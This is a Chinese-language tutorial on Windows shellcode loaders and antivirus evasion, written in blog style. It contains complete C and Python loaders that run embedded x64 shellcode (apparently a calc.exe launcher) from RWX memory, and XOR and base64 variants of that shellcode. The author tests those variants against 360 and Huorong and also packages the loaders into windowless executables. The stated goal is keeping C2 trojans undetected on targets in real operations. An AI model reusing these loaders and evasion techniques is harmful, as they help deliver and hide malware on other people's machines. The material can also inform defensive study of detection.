shellcode
什么是shellcode
Shellcode 是一种特殊的二进制代码, 主要目的是在目标系统上执行特定的操作,例如获取系统权限、建立远程访问通道、执行恶意代码等。以为我的二进制漏洞利用ret2shellcode来看,就是写了一个特定任务的机器码指令,他们被设计成紧凑且直接执行所需操作的二进制表示形式。
这些指令被用于利用漏洞、执行特定的恶意功能或远程命令与控制(C2)服务建立连接
1
| exe文件-->硬盘-->把exe内容、读取到内存中-->转成二进制指令-->cpu运行
|
shellcode通常以二进制格式存储,以为它需要直接由计算机的中央处理单元(CPU)执行。
一般情况下,shellcode可能以十六进制字符串的形式出现,但在程序运行时,常被解析为二进制数据。并且要使用它,通常要将它嵌入到合适的载体中或者以其他方式将其传递给目标系统,以便执行其中命令。
shellcode加载器
shellcode加载器用于帮助shellcode文件/16进制字符串的shellcode,运行的工具,通过由一段代码组成,帮助shellcode在目标程序运行起来。
如何编写:
由于shellcode直接由cpu执行,所以我们要一个程序运行需要以下几个功能
- 开辟内存
- 把shellcode存到这块内存中
- 想办法让这块内存中的shellcode被cpu执行,回调函数执行
如何执行执行这些功能:
windows自带的一下api可以帮助我们实现
VirtualAlloc函数
VirtualAlloc是WindowsAPI中用于分配/申请、保留或提交内存区域的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| LPVOID VirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
|
memcpy函数
C标准库中的一个函数,用于将内存块的内容从一个位置复制到另一个位置
1 2 3 4 5
| void *memcpy( void *dest, const void *src, size_t n );
|
CreateThread
CreateThread是Windows API 中用于创建新线程的函数
1 2 3 4 5 6 7 8
| HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
|
C语言加载器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" "\x63\x2e\x65\x78\x65\x00";
void main() { LPVOID exec = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (exec == NULL) { return; } memcpy(exec, buf, sizeof(buf)); HANDLE hThread = CreateThread( NULL, NULL, (LPTHREAD_START_ROUTINE)exec, NULL, NULL, 0); WaitForSingleObject(hThread, -1); CloseHandle(hThread); }
|
python加载器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| import ctypes
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory CreateThread = ctypes.windll.kernel32.CreateThread WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject
buf = ( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56" b"\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48" b"\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61" b"\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48" b"\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85" b"\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0" b"\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31" b"\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24" b"\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b" b"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41" b"\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41" b"\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48" b"\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41" b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd" b"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e" b"\x65\x78\x65\x00" )
VirtualAlloc.restype = ctypes.c_uint64 p = VirtualAlloc(0, len(buf), 0x3000, 0x40)
if not p: print("VirtualAlloc 失败") exit(1)
print(f"[+] 分配内存成功,地址: {hex(p)}")
buf_pointer = (ctypes.c_char * len(buf)).from_buffer(bytearray(buf)) RtlMoveMemory(ctypes.c_void_p(p), buf_pointer, len(buf))
print("[+] Shellcode 写入成功")
hThread = CreateThread(0, 0, ctypes.c_void_p(p), 0, 0, ctypes.pointer(ctypes.c_int(0)))
if not hThread: print("CreateThread 失败") exit(1)
print(f"[+] 线程创建成功,句柄: {hex(hThread)}")
WaitForSingleObject(hThread, -1)
|
python打包成exe
1 2 3 4 5 6 7 8 9 10
| pip3 install pyinstaller
pyinstaller -F -w calc.py -F 打包成一个exe文件 -w 不显示黑窗口 (默认会显示) , 也可以用 --noconsole 参数 -i 指定图标 , .ico文件 或者是exe文件 , 会自动提取exe文件的图标 (不推荐图标) -n 指定打包好的文件名 --clean 清除上一次打包的文件 --key cjiurfe11a 混淆代码功能 (需要安装 pip3 install tinyaes)
|
免杀
什么是免杀
免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
它是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或者没能力接触这些深层技术。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
简单来说就是通过一些技术手段,让你的恶意样本(病毒和木马)规避掉杀毒软件的检测,能够像正常程序一样运行。
为什么有免杀
默认一些C2生成的木马,其特征已经被各大杀毒软件给标记到了自己的木马病毒库中,所以在实战中如果目标存在杀软,我们需要对自己的木马进行免杀。
免杀有哪些方法
常见的免杀方法
- 加壳
- shellcode混淆、加密
- 各种语言的加载器、c、python、go等
- powershell混淆免杀
- 分离免杀(远程加载)shellcode和加载器不写在一个文件中,远程加载等
- 黑加白(白名单程序执行恶意样本)
- 使用github上的一些免杀工具
- 自己写加载器
- 自己写/二开远控等等
杀软的查杀基本原理
杀毒软件对程序的划分大致分为三种
无害
没有可疑行为,没有任何的特征符合病毒和木马
可疑
存在可疑行为,例如操作注册表、打开powershell、修改用户、操作敏感文件等
存在木马病毒
特征符合木马或病毒
杀软常用的识别恶意样本的方式
静态查杀
静态查杀通常是会使用病毒特征库,这是一个包含病毒、恶意软件或者其他威胁的特定标识的数据库。这些特定标识可以是文件的代码特定片段、独特的字符串、文件结构等。杀软通过对比这些文件特征与特征库中存在信息是否匹配,来判断文件是否恶意。
代码中的函数
杀软会通过反编译/查看exe字符串的方式查看代码,可以看到里面的一些函数和汇编代码。
比如:rtualalloc,rtlmovememory,creatthread 等
主要都是 windows api 函数,尤其是和内存、堆、线程相关的函数
shellcode特征
文件名和md5
如果这个文件名使用了 rlo 翻转的话 , 无论是否是病毒都会直接杀 , md5值的话就是匹配样本库中的
md5值 , 看是否存在
1
| demo.txt.exe --> demo.exe.txt
|
查看文件 md5 hash
1
| CertUtil -hashfile 文件路径 md5
|
加密
使用加密解密行为或者对文件有额外保护措施(加壳)
数字签名
正规的程序 , 都是有数字签名的
动态查杀
通常这一步都是静态分析之后做的,大多杀毒软件会有云沙箱 , 相当于开一个虚拟机运行一下你的恶意样本, 通过分析程序指令出现的顺序,或者特定的组合情况以及所调用的函数及其参数等属于恶意行为特征,来判断目标程序是不是病毒程序。
相比于静态查杀,动态查杀更关注程序的执行过程,允许检测和分析未知的、可能是恶意的行为。
计算机相关
通常由r1或r2层挂监控的方式(类似于hook)当触发这些条件就会产生事件 , 例如 : 360会在系统的内核层会对注册表和net1.exe进行监控 , 注册表的监控相对不那么严格 , 可以通过 win32 api 添加用户 , 通常杀软监控的有
1 2 3 4 5 6 7 8 9 10
| 服务 注册表 组策略 防火墙 敏感程序 : cmd powershell wmi psexec bitsadmin rundll等 用户 : 添加,删除,修改等操作 文件夹 : C:\windows\system32 C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup %tmp% 等敏感文件夹
|
常见的绕过思路 : 替换方式方法 , cmd用不了 , 换powershell(混淆,编码,加密), 换windows api函数 , 或者用shellcode
网络相关
1 2 3 4 5 6
| iP,域名,证书 查找通讯的ip或域名是否之前存在攻击行为 流量内容 时间特征:扫描等, 大规模扫描或其他不寻常的网络行为 内容特征:data字段中是否存在命令控制相关的关键词或或者加密特征 结构特征:是否存在已知远控的通讯结构特征 \x00\x00\0x00\x0
|
常见的绕过思路
tcp分段、内容加密、使用合法证书等。
补充:有些杀软可能没有那么强,但是总体杀软识别的就是这个大概思路。
样本启动流程

shellcode处理
shellcode加密
异或加密
一种非常简单方便的shellcode处理方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| #include <stdio.h> #include <stdlib.h>
void xor_encrypt_decrypt(const char *input_file, const char *output_file, int key) { FILE *fin = fopen(input_file, "rb"); if (!fin) { perror("无法打开输入文件"); exit(EXIT_FAILURE); }
FILE *fout = fopen(output_file, "wb"); if (!fout) { perror("无法创建输出文件"); fclose(fin); exit(EXIT_FAILURE); }
int ch; while ((ch = fgetc(fin)) != EOF) { fputc(ch ^ key, fout); }
fclose(fin); fclose(fout); printf("加密/解密完成,已生成 %s\n", output_file); }
int main(int argc, char *argv[]) { if (argc != 4) { printf("用法: %s <输入文件> <密钥> <输出文件>\n", argv[0]); return EXIT_FAILURE; }
int key = atoi(argv[2]); xor_encrypt_decrypt(argv[1], argv[3], key); return EXIT_SUCCESS; }
|
这里笔者使用命令执行的编码
1
| ./xor.exe shellcode.bin 99 output.bin
|
生成成功后,我们再用xxd将其提取出来即可
1
| xxd -p out.bin | sed 's/\(..\)/\\x\1/g'
|
然后我们用加载器生成一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void myXor(unsigned char str[], int len, int key) { for (int i = 0; i < len; i++) { str[i] = str[i] ^ key; } } unsigned char buf[] = { "\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b" "\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22" "\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62" "\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3" "\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3" "\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a" "\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63" "\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c" "\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f" "\x00\x4d\x06\x1b\x06\x63" };
int main() { int key = 99; myXor(buf, sizeof(buf), key);
LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (addr == NULL) { return 1; } memcpy(addr, buf, sizeof(buf)); HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, 0);
WaitForSingleObject(hThread, -1); CloseHandle(hThread);
return 0; }
|
当然生成的这个,是包被杀的,因为是单次异或,又或者是进程存在了密钥进行解密了,所以建议使用命令行传密钥。


这里尝试两次异或试试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void myXor(unsigned char str[], int len, int key) { for (int i = 0; i < len; i++) { str[i] = str[i] ^ key; } }
unsigned char buf[] = {
"\xc7\x73\xb8\xdf\xcb\xd3\xfb\x3b\x3b\x3b\x7a\x6a\x7a\x6b\x69\x6a\x6d\x73\x0a\xe9\x5e\x73\xb0\x69\x5b\x73\xb0\x69\x23\x73" "\xb0\x69\x1b\x73\xb0\x49\x6b\x73\x34\x8c\x71\x71\x76\x0a\xf2\x73\x0a\xfb\x97\x07\x5a\x47\x39\x17\x1b\x7a\xfa\xf2\x36\x7a" "\x3a\xfa\xd9\xd6\x69\x7a\x6a\x73\xb0\x69\x1b\xb0\x79\x07\x73\x3a\xeb\xb0\xbb\xb3\x3b\x3b\x3b\x73\xbe\xfb\x4f\x5c\x73\x3a" "\xeb\x6b\xb0\x73\x23\x7f\xb0\x7b\x1b\x72\x3a\xeb\xd8\x6d\x73\xc4\xf2\x7a\xb0\x0f\xb3\x73\x3a\xed\x76\x0a\xf2\x73\x0a\xfb" "\x97\x7a\xfa\xf2\x36\x7a\x3a\xfa\x03\xdb\x4e\xca\x77\x38\x77\x1f\x33\x7e\x02\xea\x4e\xe3\x63\x7f\xb0\x7b\x1f\x72\x3a\xeb" "\x5d\x7a\xb0\x37\x73\x7f\xb0\x7b\x27\x72\x3a\xeb\x7a\xb0\x3f\xb3\x73\x3a\xeb\x7a\x63\x7a\x63\x65\x62\x61\x7a\x63\x7a\x62" "\x7a\x61\x73\xb8\xd7\x1b\x7a\x69\xc4\xdb\x63\x7a\x62\x61\x73\xb0\x29\xd2\x6c\xc4\xc4\xc4\x66\x73\x81\x3a\x3b\x3b\x3b\x3b" "\x3b\x3b\x3b\x73\xb6\xb6\x3a\x3a\x3b\x3b\x7a\x81\x0a\xb0\x54\xbc\xc4\xee\x80\xcb\x8e\x99\x6d\x7a\x81\x9d\xae\x86\xa6\xc4" "\xee\x73\xb8\xff\x13\x07\x3d\x47\x31\xbb\xc0\xdb\x4e\x3e\x80\x7c\x28\x49\x54\x51\x3b\x62\x7a\xb2\xe1\xc4\xee\x58\x5a\x57" "\x58\x15\x5e\x43\x5e\x3b" };
int main() { int key = 99; myXor(buf, sizeof(buf), key); int key1 = 88; myXor(buf, sizeof(buf), key1); LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (addr == NULL) { return 1; } memcpy(addr, buf, sizeof(buf)); HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, 0); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread);
return 0; }
|
发现也是行不通的,这里采用命令行传密钥即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| #include <windows.h> #include <stdio.h> #include <stdlib.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void myXor(unsigned char str[], int len, int key) { for (int i = 0; i < len; i++) { str[i] = str[i] ^ key; } }
unsigned char buf[] = { "\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b" "\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22" "\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62" "\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3" "\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3" "\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a" "\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63" "\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c" "\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f" "\x00\x4d\x06\x1b\x06\x63" };
int main(int argc, char* argv[]) { if (argc != 2) { printf("Usage: %s <key>\n", argv[0]); return 1; }
int key = atoi(argv[1]);
myXor(buf, sizeof(buf), key);
LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (addr == NULL) { return 1; }
memcpy(addr, buf, sizeof(buf));
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, 0);
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0; }
|
这里注意的是火绒过了,360没过。
这块笔者也是试了二次异或进行命令行传参,当然是没有过的,所以还是建议换一种进行加密。
base64加密
使用c语言实现一个从16进制字符串中读取shellcode, 进行base64编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <stdint.h>
const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
char* base64_encode(const unsigned char* data, size_t input_length) { size_t output_length = 4 * ((input_length + 2) / 3); char* encoded_data = (char*)malloc(output_length + 1); if (!encoded_data) return NULL;
size_t i, j; for (i = 0, j = 0; i < input_length;) { uint32_t octet_a = i < input_length ? data[i++] : 0; uint32_t octet_b = i < input_length ? data[i++] : 0; uint32_t octet_c = i < input_length ? data[i++] : 0;
uint32_t triple = (octet_a << 16) | (octet_b << 8) | octet_c;
encoded_data[j++] = base64_chars[(triple >> 18) & 0x3F]; encoded_data[j++] = base64_chars[(triple >> 12) & 0x3F]; encoded_data[j++] = (i > input_length + 1) ? '=' : base64_chars[(triple >> 6) & 0x3F]; encoded_data[j++] = (i > input_length) ? '=' : base64_chars[triple & 0x3F]; } encoded_data[output_length] = '\0'; return encoded_data; }
unsigned char* hex_to_bytes(const char* hex, size_t* output_length) { size_t len = strlen(hex); size_t count = 0;
for (size_t i = 0; i < len; i++) { if (isxdigit((unsigned char)hex[i])) { count++; } }
if (count % 2 != 0) { fprintf(stderr, "Error: Hex string length must be even (got %zu)\n", count); return NULL; }
*output_length = count / 2; unsigned char* bytes = (unsigned char*)malloc(*output_length); if (!bytes) return NULL;
size_t j = 0; for (size_t i = 0; i < len && j < *output_length;) { if (hex[i] == '\\' && hex[i + 1] == 'x') { i += 2; if (i + 1 < len && isxdigit((unsigned char)hex[i]) && isxdigit((unsigned char)hex[i + 1])) { sscanf(hex + i, "%2hhx", &bytes[j++]); i += 2; } } else if (isxdigit((unsigned char)hex[i]) && isxdigit((unsigned char)hex[i + 1])) { sscanf(hex + i, "%2hhx", &bytes[j++]); i += 2; } else { i++; } } return bytes; }
int main(int argc, char* argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <hex file>\n", argv[0]); return 1; }
FILE* file = fopen(argv[1], "r"); if (!file) { perror("Error opening file"); return 1; }
fseek(file, 0, SEEK_END); long file_size = ftell(file); rewind(file);
char* hex_data = (char*)malloc(file_size + 1); if (!hex_data) { fprintf(stderr, "Memory allocation failed\n"); fclose(file); return 1; } fread(hex_data, 1, file_size, file); hex_data[file_size] = '\0'; fclose(file);
size_t binary_length; unsigned char* binary_data = hex_to_bytes(hex_data, &binary_length); if (!binary_data) { fprintf(stderr, "Failed to parse hex data from %s\n", argv[1]); free(hex_data); return 1; } free(hex_data);
char* base64_output = base64_encode(binary_data, binary_length); free(binary_data);
if (!base64_output) { fprintf(stderr, "Base64 encoding failed\n"); return 1; }
printf("%s\n", base64_output); free(base64_output); return 0; }
|
得到我们生成的base64编码
1
| /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA
|

工具生成应该也没啥问题
然后我们用加载器加载一下这段shellcode就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| #include <stdio.h> #include <windows.h> #include <string.h> #include <wincrypt.h>
#pragma comment(lib,"Crypt32.lib")
unsigned char shellcode[] = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA"; unsigned int calc_len = sizeof(shellcode);
int DecodeBase64(const BYTE* src, unsigned int srcLen, char* dst, unsigned int dstLen) { DWORD outLen; BOOL fRet; outLen = dstLen; fRet = CryptStringToBinaryA((LPCSTR)src, srcLen, CRYPT_STRING_BASE64, (BYTE*)dst, &outLen, NULL, NULL); if (!fRet) { outLen = 0; } return(outLen);
}
int main() {
LPVOID exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
DecodeBase64((const BYTE*)shellcode, calc_len, (char*)exec_mem, calc_len);
((void(*)())exec_mem)(); return 0; }
|
但是一般这种情况都会被杀,360和火绒都过不了
这里请教了一下Strider师傅,他说shellcode这块使用异或就可以了,不行的话就多以或几次